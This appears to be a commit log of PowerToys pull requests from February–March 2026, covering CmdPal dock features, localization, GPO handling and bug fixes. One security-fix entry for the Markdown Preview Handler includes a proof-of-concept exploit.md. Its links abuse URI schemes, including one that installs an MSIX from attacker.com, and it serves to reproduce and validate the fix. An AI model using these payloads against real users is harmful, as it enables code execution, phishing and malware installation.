6c691f59e8 [OOBE] Properly localize View on GitHub and release date in What's new (#45847)
## Summary of the Pull Request
* Move hardcoded string *View on GitHub* to `Resources.resw`
* Respect `DateTimeFormat.MonthDayPattern` in release date
* Dots in the date are escaped so that they don't accidentally trigger a
markdown list
## PR Checklist

- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need

## Detailed Description of the Pull Request / Additional comments
Nothing changes in the English version, only difference is in languages
that don't use `MMMM d`.
## Validation Steps Performed
Manually tested with Slovak, Czech, German, English.
2026-03-01 12:45:51 +00:00
Mike Griese
7dfe6c0159 Dock: Fix tab focus order for items (#45837)
Now, once the dock has focus, tab will work the way you'd expect.

* re #45584
* re #45595 - if we do add that KB shortcut, well, reasonable tab focus
would be expected.
2026-03-01 13:15:41 +01:00
Mike Griese
543399b62b dock: shift around the padding for fitts law (#45834)
This makes the buttons hitbox extend all the way to the edges of the
dock, but the visual presentation of these buttons is unchanged.

This lets us adhere to fitts law appropriately.

Closes #45596
Closes #45590
2026-03-01 13:03:40 +01:00
Christian Gaarden Gaardmark
90e81cbfd5 [New+] Hide existing new - remake (#44979)
## Summary of the Pull Request
- Add the ability for users and admins (GPO) to control whether to
display built in New on the context menu.
 - Changes to the setting are immediately reflected in the experience.
 - Built-in New is restored on uninstall.

## PR Checklist
Note: Supersedes https://github.com/microsoft/PowerToys/pull/39843 

- [x] **Closes**: [New+] Replace default New entry #37545 and Replace
"New" with New+ option #37946
- [x] **Communication:** Discussed with @niels9001 - 1/22/2025
- [x] **Tests:** Completed manual test pass see highlight below
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** Updated "doc\devdocs\modules\newplus.md"
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
   - [x] [WXS for installer] Updated installer (uninstall custom action)
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [No] **Documentation updated:** Pending, coming soon. (original PR 
https://github.com/MicrosoftDocs/windows-dev-docs/pull/5473)

## Detailed Description of the Pull Request / Additional comments
Added the ability for users' admins' to display Windows built-in New or
not
	
I'm NOT aware of an official supported way to do this, so I'm achieving
this by adding an invalid context menu handler in place of New in the
Computer\HKEY_CURRENT_USER\Software\Classes\Directory\background\ShellEx\ContextMenuHandlers\New
	
Changes are immediate, after applying the change, built-in New is
shown/hidden accordingly
	
	Updates to New+ Settings UI
New setting introduced to track user' preference (saved to
newplus/settings.json)
GPO setting introduced for control New visibility via GPO (GPO wins over
user preference)
	
	Updates to New+ power_module.cpp
When runner is running new plus will also apply built-in New admin GPO
and user preference (GPO wins over user preference) to ensure correct
behavior on setting restore and GPO application.
		
	Updates to installer 
		Uninstall always reenable built-in "New" context menu 
	
	Updated DevDoc
		Added a note on how to manually restore built-in New

## Validation Steps Performed
Windows 11 x64
	Settings UI
	New+ enabled
	New+ disabled
	GPO setting enabled
	GPO settings disabled
	Manually updating newplus/settings.json

Windows 11 ARM64
	I tested the reg hack manually, but didn't go through a full pass. 

Windows 10 x64
	NOT tested. 

Windows 11, Settings, New+ Disabled and no GPO
<img width="1040" height="1002" alt="image"
src="https://github.com/user-attachments/assets/1b827b10-f009-4b0b-954f-d9311d40d201"
/>

Windows 11, Settings, New+ Enabled and no GPO
<img width="1015" height="781" alt="image"
src="https://github.com/user-attachments/assets/a5fa09d3-7fd3-4830-99a4-5f2ac9ce1a38"
/>

Hide built-in New: Off (the default)
<img width="321" height="417" alt="image"
src="https://github.com/user-attachments/assets/355fea60-bbb8-4f11-b648-291aaf0c4a6d"
/>

Hide built-in New: On
<img width="1015" height="87" alt="image"
src="https://github.com/user-attachments/assets/e83e45c4-6b67-443b-b045-26e7dda2cf46"
/>

Modern
<img width="308" height="360" alt="image"
src="https://github.com/user-attachments/assets/b164b240-6e67-410c-8481-7db3ee3225b7"
/>

Classic
<img width="308" height="289" alt="image"
src="https://github.com/user-attachments/assets/e2b6c262-a311-454c-9c76-40cb11ff2970"
/>

Disabling New+ also unhide New
<img width="1031" height="569" alt="image"
src="https://github.com/user-attachments/assets/29b8dae7-8190-4e64-b106-c6861e472a3d"
/>

<img width="308" height="353" alt="image"
src="https://github.com/user-attachments/assets/e1977d6b-dc85-4db4-b9ab-c7bb2b27dde2"
/>



Windows 11, Settings, New+ Enabled and with GPO

Hide built-in New: GPO enabled
<img width="1020" height="691" alt="image"
src="https://github.com/user-attachments/assets/75053ab8-92c6-4d38-b1b8-9b0d8293c207"
/>

Hide built-in New: GPO disabled
<img width="1050" height="161" alt="image"
src="https://github.com/user-attachments/assets/1a50b841-ff01-4662-a923-aee63717c834"
/>
2026-03-01 12:32:38 +01:00
Ruthie Sun
3e1b07f52c Color picker - Lab format: use roundoff optional #13603 (#42986)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.

I can update the docs as well, if we're happy with the approach.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-27 23:12:58 +01:00
Jiří Polášek
96e6542cf1 Dock: Replace IsShownInSwitchers with HiddenOwnerWindowBehavior in DockWindow (#45839)
## Summary of the Pull Request

This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
2026-02-27 21:11:27 +00:00
Jiří Polášek
12fac01ee1 CmdPal: Add settings to hide non-apps from results (#45741)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new options to the All Apps built-in extension:

- Also include non-app shortcuts from the Start menu
  - Enabled by default
- Also include non-app shortcuts from the desktop
  - Disabled by default

The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.

<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
2026-02-27 14:35:49 -06:00
Jiří Polášek
f2788f2e09 CmdPal: Supress CsWinRT1028 on source generated interop types (#45827)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 12:58:54 -06:00
Mike Griese
5dea1980ad CmdPal: some dock data (#45832)
we want to know what the people want

re: #45584
2026-02-27 12:22:14 -06:00
Mike Griese
e74692815f Dock: deal with multiple appbars on the same side (#45831)
notes inline with code. Need to adjust the opposite side of the appbar
for our size.

These APIs are documented so well, it's no wonder more folks don't use
them 🙃

related to #45824
tracked in #45584

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 12:22:02 -06:00
Jiří Polášek
8c1e4f16fe CmdPal: Add null check before caching view model for item (#45815) 2026-02-27 11:20:19 -06:00
Jiří Polášek
e653b4ad37 CmdPal: Remove OneWay binding mode from bands ItemsRepeater (#45833)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`

- [x] Related to: #42574 
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

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wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 11:13:48 -06:00
Mike Griese
70bf430d9f CmdPal: Add a dock (#45824)
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.

The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)

This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.

This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.

closes #45201

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 13:24:23 +00:00
Kai Tao
494c14fb88 Always on top: window context menu to always on top (#45773)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Add an option to enable inject a window context menu to always on top
this window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45638 #15387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

https://github.com/user-attachments/assets/37eb3f74-1ccc-42f2-83c3-1100f55765ee

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 16:45:35 +08:00
Alex Mihaiuc
6c806aa08c Make the ZoomIt AAC audio track depend on system audio or audio input (#45700)
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.

## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
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wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 19:27:19 +01:00
Mike Griese
7a0e4ac891 CmdPal: Add context commands for pinning nested commands (#45673)
_targets #45572_

This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.

<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201


This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.

--- 

description from #45676 which was merged into this

Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.

This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.

With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
2026-02-26 16:09:17 +00:00
Kai Tao
cdeae7c854 Mouse Utilities: Remove newinfo badge for cursor wrap (#45803)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
as title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1665" height="443" alt="image"
src="https://github.com/user-attachments/assets/9a5488c4-dea0-47a4-bf5c-f60820176d50"
/>
2026-02-26 13:48:16 +00:00
Jiří Polášek
9ae355b963 CmdPal: Fix All Apps search result limit default (#45804)
## Summary of the Pull Request

This PR adds a new default option to the All Apps extension settings.

- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.

<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 06:52:55 -06:00
moooyo
9b7ae9a96a Temporarily disable PowerDisplay module across PowerToys (#45802)
Icon and New name still pending for final decision.

We cannot ship in this release, still need enough time to consider new
name and icon.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
2026-02-26 12:40:18 +00:00
Jiří Polášek
169bfe3f04 CmdPal: Lightning-fast mode (#45764)
## Summary of the Pull Request

This PR unlocks lightning-fast mode for Command Palette:

- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.

- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
    - Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
  - Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right

## Pictures? Moving!



https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44407
- [x] Closes: #45691
2026-02-26 06:17:34 -06:00
leileizhang
1b4641a158 Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
2026-02-26 17:46:48 +08:00
Jaylyn Barbee
a94d010a8d [Light Switch] Fixed issue where Light switch could be toggled from the dashboard while GPO settings are active (#45756)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.

This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.

This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567

## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>

We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
2026-02-25 16:44:15 +01:00
Kai Tao
c013122520 Settings: Fix settings process shutdown when closing secondary windows (#45787)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45549 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

When no window alive, the settings exe should also be gone
2026-02-25 21:50:42 +08:00
leileizhang
5d11e8e805 [SFI] Fix libFuzzer failing to resolve target class name in Hosts module fuzz tests (#45784)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In PR
https://github.com/microsoft/PowerToys/pull/40754/changes#diff-458c2dd654182dce7f6ad70fadd40d048a99f9be2cd9506747dde5964e6f396a
the config class name was changed incorrectly, which caused libFuzzer to
fail to resolve the target type HostsEditor.FuzzTests.FuzzTests and
resulted in test failures.

<img width="2074" height="311" alt="image"
src="https://github.com/user-attachments/assets/8a8d4ce8-71e7-45d6-ae7e-da43da6c63ca"
/>


This change updates the class name to the correct value to fix the
issue.

<img width="2098" height="647" alt="image"
src="https://github.com/user-attachments/assets/2715dade-63e1-4cdb-856a-8f199ffcd38a"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
